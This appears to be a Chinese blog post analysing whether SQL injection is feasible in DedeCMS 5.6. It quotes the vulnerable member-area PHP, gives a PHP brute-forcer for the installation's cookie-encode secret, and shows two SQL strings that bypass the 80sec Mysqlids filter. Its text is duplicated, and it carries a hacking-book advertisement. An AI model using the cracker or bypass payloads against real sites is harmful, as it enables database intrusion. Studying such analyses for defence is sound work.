Dedecms v5.6的鸡肋注入的可行性分析
----------------------------------------------------------------------------
# oldjun注:帮朋友打下广告,希望大家不要介意。。。
庞大的脚本安全字典,《黑客脚本全本》隆重上市 (Tommie等编著),本人感觉,这本书非常非常适合初学者入门,如果有新手有志学习脚本,成为脚本黑客,建议买本学习学习!
官方链接:http://bbs.nohack.cn/thread-114886-1-1.html
淘宝预定地址:点击这里(http://item.taobao.com/auction/item_detail-db2-207dce7846a107141090212374780dae.htm)
黑客手册在线商城购买地址:点击这里(http://book.nohack.cn/goods-72.html)
----------------------------------------------------------------------------
织梦CMS(DEDECMS)在国内使用很广,代码一直被脚本黑客们所关注,随着版本的日益更新,其他漏洞不说,注入漏洞的确越来越少了,5.5、5.6版本鲜有注入漏洞出来,据观察,应该有两个原因,一是本身代码的书写严格了或者审计到位了,二就是80sec的内置Mysqlids起到作用了。还是在5.3版本的时候看过dede代码,前段时间抽空“喵”了眼最新5.6final版本的代码,于是弄个唬人的标题,谈谈注入的可行性(也许有其他漏洞,不属于讨论范畴)。
一、可能产生注入的一个点,以及可能的利用方法:
由于只是粗略看了下plus与member的代码,也许有直接的注入没被看出来:)
这个可能的点遍布member目录下,以edit_fullinfo.php为例,看代码:从代码里的分析可以看出,$dede_fields用来生成$inadd_f,而$inadd_f直接带入SQL语句了。因此如果能绕过校验,构造$dede_fields则可以触发注入。校验语句:想让$dede_fieldshash等于md5($dede_fields.$cfg_cookie_encode),我们可以掌握两个变量,即如果知道$cfg_cookie_encode的值,就可以通过校验。再看看$cfg_cookie_encode是什么?config.cache.inc.php里的全局变量,安装的时候生成的,看看生成代码:本来我觉得没戏的,但是发现才10位,而且不是26个字母就是10个数字。
在任意一个页面,比如article_edit.php里,aid,idhash也已经告诉我们了,看看archives_check_edit.php里的校验代码:很有才,我觉得在现在的计算机的计算能力下,跑出这个$cfg_cookie_encode应该没多大问题,我们的可能性是
26的6次方乘以10的4次方=3089157760000。
写个php模拟下:php下速度太慢了,c下可以试试。如果有需要,用gpu破,再用很多电脑分段破,破出来这个$cfg_cookie_encode应该没问题,破出来之后,member下好多页面都可以注入的。如果说$cfg_cookie_encode的破解不鸡肋,80sec的内置Mysqlids却导致了即使有注入肯定也用不起来的局面,于是我们来看看有没绕过。
二、80sec的内置Mysqlids可能的绕过方法:
80sec的内置Mysqlids很强大,过滤mysql的三大注释符:/* 、--、 #,我觉得注入已经是无望了,因为注入语句一般都得通过注释把后半段给截去,然后过滤常见的union、file等,这不算bt,更bt的是把(select 子查询给过滤了,悲剧啊,写的太好了。
后来发现,由于怕匹配到sql语句中提交的内容,函数对单引号里的内容进行了替换(做waf或者idc,也考虑到这个问题),代码如下:看这段代码,然后反复尝试了很久,最终发现了两个绕过方法(以子查询为例):
1.gpc为on,绝对鸡肋的绕过方法,找不到这样的sql语句了:(囧,没哪个sql语句/**/打头的...悲剧)
2.gpc为on的时候增加对\的处理没问题,但是gpc为off的时候,则可能导致绕过,于是gpc为off,可以完美绕过:我只想到这么多了,没辙了,用flyh4t的话说,我算抛个砖了,如果谁有更好的绕过方法,可以一起讨论,期待玉的出现:)
综上所诉,想再利用DEDECMS的注入还是不容易的,建议其他程序可以一起借鉴下80sec的Mysqlids,当然,仅限以发布文章为主的cms,论坛还是别了...
# oldjun注:帮朋友打下广告,希望大家不要介意。。。
庞大的脚本安全字典,《黑客脚本全本》隆重上市 (Tommie等编著),本人感觉,这本书非常非常适合初学者入门,如果有新手有志学习脚本,成为脚本黑客,建议买本学习学习!
官方链接:http://bbs.nohack.cn/thread-114886-1-1.html
淘宝预定地址:点击这里(http://item.taobao.com/auction/item_detail-db2-207dce7846a107141090212374780dae.htm)
黑客手册在线商城购买地址:点击这里(http://book.nohack.cn/goods-72.html)
----------------------------------------------------------------------------
织梦CMS(DEDECMS)在国内使用很广,代码一直被脚本黑客们所关注,随着版本的日益更新,其他漏洞不说,注入漏洞的确越来越少了,5.5、5.6版本鲜有注入漏洞出来,据观察,应该有两个原因,一是本身代码的书写严格了或者审计到位了,二就是80sec的内置Mysqlids起到作用了。还是在5.3版本的时候看过dede代码,前段时间抽空“喵”了眼最新5.6final版本的代码,于是弄个唬人的标题,谈谈注入的可行性(也许有其他漏洞,不属于讨论范畴)。
一、可能产生注入的一个点,以及可能的利用方法:
由于只是粗略看了下plus与member的代码,也许有直接的注入没被看出来:)
这个可能的点遍布member目录下,以edit_fullinfo.php为例,看代码:
...
if($dopost=='save'){
$membermodel = new membermodel($cfg_ml->M_MbType);
$postform = $membermodel->getForm(true);
//这里完成详细内容填写
$dede_fields = empty($dede_fields) ? '' : trim($dede_fields);
$dede_fieldshash = empty($dede_fieldshash) ? '' : trim($dede_fieldshash);
$modid = empty($modid)? 0 : intval(preg_replace("/[^\d]/",'', $modid));
if(!empty($dede_fields))
{
if($dede_fieldshash != md5($dede_fields.$cfg_cookie_encode))
{
showMsg('数据校验不对,程序返回', '-1');
exit();
}
}
//虽然$dede_fields可以自己构造提交,但是代码对提交的$dede_fields进行了校验,from [url]www.oldjun.com[/url]
$modelform = $dsql->GetOne("SELECT * FROM #@__member_model WHERE id='$modid' ");
if(!is_array($modelform))
{
showmsg('模型表单不存在', '-1');
exit();
}
$inadd_f = '';
//$dede_fields可以构造的话,则可以触发注入,from [url]www.oldjun.com[/url]
if(!empty($dede_fields))
{
$fieldarr = explode(';', $dede_fields);
if(is_array($fieldarr))
{
foreach($fieldarr as $field)
{
if($field == '') continue;
$fieldinfo = explode(',', $field);
if($fieldinfo[1] == 'textdata')
{
${$fieldinfo[0]} = FilterSearch(stripslashes(${$fieldinfo[0]}));
${$fieldinfo[0]} = addslashes(${$fieldinfo[0]});
}
else
{
if(empty(${$fieldinfo[0]})) ${$fieldinfo[0]} = '';
${$fieldinfo[0]} = GetFieldValue(${$fieldinfo[0]}, $fieldinfo[1],0,'add','','diy', $fieldinfo[0]);
}
if($fieldinfo[0]=="birthday") ${$fieldinfo[0]}=GetDateMk(${$fieldinfo[0]});
$inadd_f .= ','.$fieldinfo[0]." ='".${$fieldinfo[0]}."'";//值不能构造,但列可以构造,from [url]www.oldjun.com[/url]
}
}
}
$inadd_f=preg_replace('/,/','',$inadd_f,1);
$query = "UPDATE `{$membermodel->table}`set {$inadd_f} WHERE mid='{$cfg_ml->M_ID}'";//$inadd_f可以通过$dede_fields构造来触发注入,from [url]www.oldjun.com[/url]
if(!$dsql->ExecuteNoneQuery($query))
{
ShowMsg("更新附加表 `{$membermodel->table}` 时出错,请联系管理员!","javascript:;");
exit();
}else{
ShowMsg('成功更新你的详细资料!','edit_fullinfo.php',0,5000);
exit();
}
}
$dede_fieldshash != md5($dede_fields.$cfg_cookie_encode)
$rnd_cookieEncode = chr(mt_rand(ord('A'),ord('Z'))).chr(mt_rand(ord('a'),ord('z'))).chr(mt_rand(ord('A'),ord('Z'))).chr(mt_rand(ord('A'),ord('Z'))).chr(mt_rand(ord('a'),ord('z'))).mt_rand(1000,9999).chr(mt_rand(ord('A'),ord('Z')));
在任意一个页面,比如article_edit.php里,aid,idhash也已经告诉我们了,看看archives_check_edit.php里的校验代码:
$ckhash = md5($aid.$cfg_cookie_encode);
if($ckhash!=$idhash)
{
ShowMsg('校对码错误,你没权限修改此文档或操作不合法!','-1');
exit();
}
26的6次方乘以10的4次方=3089157760000。
写个php模拟下:
<?php
//$rnd_cookieEncode = chr(mt_rand(ord('A'),ord('Z'))).chr(mt_rand(ord('a'),ord('z'))).chr(mt_rand(ord('A'),ord('Z'))).chr(mt_rand(ord('A'),ord('Z'))).chr(mt_rand(ord('a'),ord('z'))).mt_rand(1000,9999).chr(mt_rand(ord('A'),ord('Z')));
//BpFFb8896E
$thismd5='10e6939c165283cc53c527be6bae6995';
$upper='ABCDEFGHIJKLMNOPQRSTUVWXYZ';
$lower='abcdefghijklmnopqrstuvwxyz';
$number='1234567890';
//$j=0;
//echo time();
for($i1=0;$i1<26;$i1++){
$tmp1=$upper[$i1];
for($i2=0;$i2<26;$i2++){
$tmp2=$lower[$i2];
for($i3=0;$i3<26;$i3++){
$tmp3=$upper[$i3];
for($i4=0;$i4<26;$i4++){
$tmp4=$upper[$i4];
for($i5=0;$i5<26;$i5++){
$tmp5=$lower[$i5];
for($i6=0;$i6<10;$i6++){
$tmp6=$number[$i6];
for($i7=0;$i7<10;$i7++){
$tmp7=$number[$i7];
for($i8=0;$i8<10;$i8++){
$tmp8=$number[$i8];
for($i9=0;$i9<10;$i9++){
$tmp9=$number[$i9];
for($i10=0;$i10<26;$i10++){
$tmp10=$upper[$i10];
$tmp="1".$tmp1.$tmp2.$tmp3.$tmp4.$tmp5.$tmp6.$tmp7.$tmp8.$tmp9.$tmp10;
//echo $tmp."\r\n";
$j++;
if(md5($tmp)==$thismd5){
die($tmp);
}/*else{
if($j==10000000){
echo time();
exit();
}
}*/
}
}
}
}
}
}
}
}
}
}
?>
二、80sec的内置Mysqlids可能的绕过方法:
80sec的内置Mysqlids很强大,过滤mysql的三大注释符:/* 、--、 #,我觉得注入已经是无望了,因为注入语句一般都得通过注释把后半段给截去,然后过滤常见的union、file等,这不算bt,更bt的是把(select 子查询给过滤了,悲剧啊,写的太好了。
后来发现,由于怕匹配到sql语句中提交的内容,函数对单引号里的内容进行了替换(做waf或者idc,也考虑到这个问题),代码如下:
......
//完整的SQL检查
while (true)
{
$pos = strpos($db_string, '\'', $pos + 1);
if ($pos === false)
{
break;
}
$clean .= substr($db_string, $old_pos, $pos - $old_pos);
while (true)
{
$pos1 = strpos($db_string, '\'', $pos + 1);
$pos2 = strpos($db_string, '\\', $pos + 1);
if ($pos1 === false)
{
break;
}
elseif ($pos2 == false || $pos2 > $pos1)
{
$pos = $pos1;
break;
}
$pos = $pos2 + 1;
}
$clean .= '$s$';
$old_pos = $pos + 1;
}
$clean .= substr($db_string, $old_pos);
$clean = trim(strtolower(preg_replace(array('~\s+~s' ), array(' '), $clean)));
......
1.gpc为on,绝对鸡肋的绕过方法,找不到这样的sql语句了:
/**/UPDATE `dede_plus` set filelist = /*'*/ (select '1') WHERE `aid` =27
2.gpc为on的时候增加对\的处理没问题,但是gpc为off的时候,则可能导致绕过,于是gpc为off,可以完美绕过:
UPDATE `dede_plus` set filelist = '\\' and filelist ='aaa' and (select '1') WHERE `aid` =27
综上所诉,想再利用DEDECMS的注入还是不容易的,建议其他程序可以一起借鉴下80sec的Mysqlids,当然,仅限以发布文章为主的cms,论坛还是别了...
评论0次